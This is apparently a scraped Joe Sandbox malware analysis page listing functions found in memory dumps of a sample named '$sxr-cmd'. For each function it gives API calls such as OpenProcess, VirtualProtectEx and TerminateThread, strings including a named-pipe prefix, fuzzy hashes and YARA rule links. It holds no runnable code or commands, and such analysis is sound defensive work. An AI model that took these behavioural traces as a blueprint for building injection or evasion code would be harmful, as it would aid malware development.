String ID:
API String ID: 513048808-0
Opcode ID: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction ID: 01e6fc4a6d124586b783837757084c002282822e0f29f7f140fd23a1bda413f7
Opcode Fuzzy Hash: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction Fuzzy Hash: 9B217A21918E82CBE7D17B64A584238EA94FB49775FA44134DA2F227D4CF7DE45C8730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F9584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7137F95B4
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F95C2
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7137F95CE
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7137F95DA
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7137F95EA
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0 ref: 00007FF7137F9605

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction ID: 3a4dd3aea6b6e0e4f585ed8782663ccd1006d2b5fd47e5bd531a3bb1b33e5089
Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction Fuzzy Hash: FF113322704F418FEB40EF74E8442A873A4FB19768F800A34EA6D57B54DF7DD6A88360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F3578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF7137F3584
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F359C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35C3
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35D9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35ED
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F3602

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction ID: d9807086b6c11b3649f521ef5a84500966a018fbe1710b59898d5756fd8cbe4d
Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction Fuzzy Hash: 15115B21A08E4286EBD06B24A584178EAA4FB8EB75F945334DA3E137D0DE7DD45C8720

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002155A5B1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000002155A5B1A58
PathFindFileNameW.SHLWAPI ref: 000002155A5B1A67
lstrlenW.KERNEL32 ref: 000002155A5B1A73
StrCpyW.SHLWAPI ref: 000002155A5B1A86
CloseHandle.KERNEL32 ref: 000002155A5B1A94

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction ID: e6282a0ba8e6ae92b1a940e0ade8aa942ebc5de07dc03648e2f82894bb641107
Opcode Fuzzy Hash: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction Fuzzy Hash: DB015E31301E55E6FA50DB12A468B99A3A2F798FD4F844074EE4A43758DF38C589C740

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B3844 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002155A5B3860
GetCurrentProcess.KERNEL32 ref: 000002155A5B386E
VirtualProtectEx.KERNEL32 ref: 000002155A5B3890
GetCurrentProcess.KERNEL32 ref: 000002155A5B38B1
VirtualProtectEx.KERNEL32 ref: 000002155A5B38D2
TerminateThread.KERNEL32 ref: 000002155A5B38E1

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction ID: 717e8b7054fd84cf82244cd4a899a420a65af92a63f0652a6642f53cd8cbb38f
Opcode Fuzzy Hash: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction Fuzzy Hash: B0115275702F68F6FF109B25F45DB9562A2B7A9B59F840464EE4917758EF3DC00C8700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF7138071F9
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380720D
OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF713807300

Part of subcall function 00007FF713805740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF7138075C4,?,?,00000000,00007FF713806999,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF713805744

Strings

_p0, xrefs: 00007FF7138071B3
wil, xrefs: 00007FF71380725E, 00007FF713807338

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: OpenSemaphore$CloseErrorHandleLast
String ID: _p0$wil
API String ID: 455305043-1814513734
Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction ID: 3965c8189e448f0732ceac253a5494fd058c615bf4303082a89af685c41ba40c
Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction Fuzzy Hash: 0C61A461B19E4285EFA1BB65D4101B9A3D1FF84BA4FD54431EA0E2B794DF3ED5288330

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B9178 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002155A5B91A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000002155A5B9238
RtlUnwindEx.NTDLL ref: 000002155A5B9287

Strings

csm, xrefs: 000002155A5B921E
f, xrefs: 000002155A5B91B6

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction ID: 47e99bcb04c5f6a857def35871862be1d1c03d96c3f04c60aba2e6e7e4c720bb
Opcode Fuzzy Hash: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction Fuzzy Hash: C851AA32611A28EAEF14CF15E448F9D77A6F3A2B9DF9181A4FA1747788DB34C849C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E1DC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E1E21

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E1F23

Part of subcall function 00007FF7137ED3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
Part of subcall function 00007FF7137ED3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED4EE
Part of subcall function 00007FF7137ED3F0: iswspace.MSVCRT ref: 00007FF7137ED54D
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED569
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED58C

iswspace.MSVCRT ref: 00007FF7138005B0

Strings

%s, xrefs: 00007FF7137E1EF3

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heapiswspacememset$AllocProcess
String ID: %s
API String ID: 2401724867-3043279178
Opcode ID: dd1cc4c2ac35cbae555720ed0156d711a3be8397f4b57180936ab19164fc0550
Instruction ID: 82d5271c9863b8da766b3908454b11bfba1431700e67a34503f5fb4e60ea1d8f
Opcode Fuzzy Hash: dd1cc4c2ac35cbae555720ed0156d711a3be8397f4b57180936ab19164fc0550
Instruction Fuzzy Hash: 2151D672A09E8285EBA0AF11D8402F9B3A0FB497A4F844135D95D6B794EF3DD45DC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EE260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF7137EE29D
iswdigit.MSVCRT ref: 00007FF7137EE310

Strings

GeToken: (%x) '%s', xrefs: 00007FF7137FCC39

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit
String ID: GeToken: (%x) '%s'
API String ID: 3849470556-1994581435
Opcode ID: 916785734c28613ef95a47b0691686ece84d0169728ea5130b23609204428c36
Instruction ID: 8c4f9ac6d78bd5d51d576143227fca552b852b359a68d745c16b6ba7cb29355a
Opcode Fuzzy Hash: 916785734c28613ef95a47b0691686ece84d0169728ea5130b23609204428c36
Instruction Fuzzy Hash: 06518C35A08E4285EBA0AF56A484179B7A0FB58B24F848A35DA5D73790DF7DE49CC330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF713809A10
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF713809994

Part of subcall function 00007FF71380A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A77A
Part of subcall function 00007FF71380A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A839
Part of subcall function 00007FF71380A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF713809A82), ref: 00007FF71380A850

wcsrchr.MSVCRT ref: 00007FF713809A62

Strings

%s=%s, xrefs: 00007FF7138099E1, 00007FF713809AA0
., xrefs: 00007FF7138099AA

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast$CloseEnumOpenwcsrchr
String ID: %s=%s$.
API String ID: 3242694432-4275322459
Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction ID: 9f828556a719654dce4ec49a854334017e212da9f4261f80ed9a91dc16738279
Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction Fuzzy Hash: E9418221A0DB4285FB90BB11A050279D2D4BF897B0F944230DD9D3B7E5DE7DE46D8230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138054B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF7138054E6
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF71380552E

Part of subcall function 00007FF71380758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF713806999,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF7138075AE
Part of subcall function 00007FF71380758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF713806999,?,?,?,?,?,00007FF7137F8C39), ref: 00007FF7138075C6

Strings

x, xrefs: 00007FF713805501
Local\SM0:%d:%d:%hs, xrefs: 00007FF7138054F7
wil, xrefs: 00007FF713805592, 00007FF7138055B8, 00007FF7138055E2, 00007FF713805674

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast$CreateCurrentMutexProcess
String ID: Local\SM0:%d:%d:%hs$wil$x
API String ID: 779401067-630742106
Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction ID: fb4bba7d88dc5c1278b4d933a6e7b8e0a49a235375ec8501b4bf43424b337e7e
Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction Fuzzy Hash: 4151A53261CE82C5EBA1AB51E4007FAE3A0EF847A4F944031EA0D6FA55DE3ED419C730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F41AD
towupper.MSVCRT ref: 00007FF7137F41E1

Strings

:, xrefs: 00007FF7137F41F2
:, xrefs: 00007FF7137FECC3

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentDirectorytowupper
String ID: :$:
API String ID: 238703822-3780739392
Opcode ID: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
Instruction ID: 02518537f541203ebb71a2014723d44202cd06e1be108aa376e04ce1a4676126
Opcode Fuzzy Hash: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
Instruction Fuzzy Hash: E5110452608A41C6EB65AB62E844279FAE0FF4DBA9FC58132DE0D17790DF3CD04D8724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E58D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7137E5903
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7137E5943
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF7137E5956

Strings

Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF7137E58F5
UBR, xrefs: 00007FF7137E593C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 3677997916-3870813718
Opcode ID: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
Instruction ID: c7705bee960f2861a60036c0f56a9d4a0685afcc5cd93d77ae50a9870982e3eb
Opcode Fuzzy Hash: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
Instruction Fuzzy Hash: 52112872618A45C7EB509B14E48066AFBA0FB8A774F804231DA8D22768EF7DC05CCB20

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002155A5B1AD8
StrCmpNIW.SHLWAPI ref: 000002155A5B1AF2
lstrlenW.KERNEL32 ref: 000002155A5B1B01
StrCpyW.SHLWAPI ref: 000002155A5B1B16

Strings

\\?\, xrefs: 000002155A5B1AE6

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction ID: 290bda36b7b10363460701309e55426c61d75bf9a80d99634a073cdcaa2451b5
Opcode Fuzzy Hash: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction Fuzzy Hash: A4F03172304A55E2FF609B11F4A8BD9A762F7A4B9DFC48064EA494A558DF3CC68CC700

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B3298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002155A5B32BA
StrCpyW.SHLWAPI ref: 000002155A5B32CA
StrCatW.SHLWAPI ref: 000002155A5B32D6
PathCombineW.SHLWAPI ref: 000002155A5B32E4

Strings

\\.\pipe\, xrefs: 000002155A5B32B0

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction ID: a2839a94a2f67037f0a9a4c9a3f4fb5f392056b2d1e7b6aa687f784a955ce5c7
Opcode Fuzzy Hash: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction Fuzzy Hash: A7F05474205F64E1FE004B53B929595E212E798FE9F849170BF5617B18DF38C4498304

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BA1D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002155A5BA1F4
GetProcAddress.KERNEL32 ref: 000002155A5BA20A
FreeLibrary.KERNEL32 ref: 000002155A5BA227

Strings

mscoree.dll, xrefs: 000002155A5BA1EB
CorExitProcess, xrefs: 000002155A5BA203

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction ID: 035f9d8240e9e48b56f7e61549c56a7cb6aa49bf9d130c88b0d6fd767b453fdf
Opcode Fuzzy Hash: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction Fuzzy Hash: EEF05E71712F18F2FF444B60F4ACBE8A362ABE8B59F841059BA1B46168DF38C48CC700

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B5250 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
